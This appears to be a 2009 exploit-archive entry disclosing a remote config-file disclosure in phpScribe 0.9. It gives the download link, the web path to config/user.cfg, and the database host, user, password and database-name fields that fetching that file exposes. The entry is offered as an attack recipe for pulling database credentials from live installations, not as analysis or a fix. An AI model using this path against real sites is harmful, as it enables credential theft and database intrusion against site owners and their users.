[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : phpScribe 0.9 (user.cfg) Remote Config Disclosure Vulnerability
# Published : 2009-01-01
# Author : ahmadbady
# Previous Title : Memberkit 1.0 Remote PHP File Upload Vulnerability
# Next Title : w3blabor CMS <= 3.3.0 (Admin Bypass) SQL Injection Vulnerability
.......................................................................................................
/Remote Config File Disclosure/
script: phpscribe-0.9
***************************************************************************
download from:http://downloads.sourceforge.net/phpscribe/phpscribe-0.9.zip?modtime=1071100800&big_mirror=0
***************************************************************************
vul:
www.site.com/path/config/user.cfg
................................
$PS_USER_CFG['DATABASE_HOST']="";
$PS_USER_CFG['DATABASE_USER']="";
$PS_USER_CFG['DATABASE_PASS']="";
$PS_USER_CFG['DATABASE_BASE']="";
$PS_USER_CFG['DATABASE_TYPE']=""
...............................
-------------------------------------------------
-------------------------------------------------
*************************************************
Author: ahmadbady
*************************************************
# www.Syue.com [2009-01-01]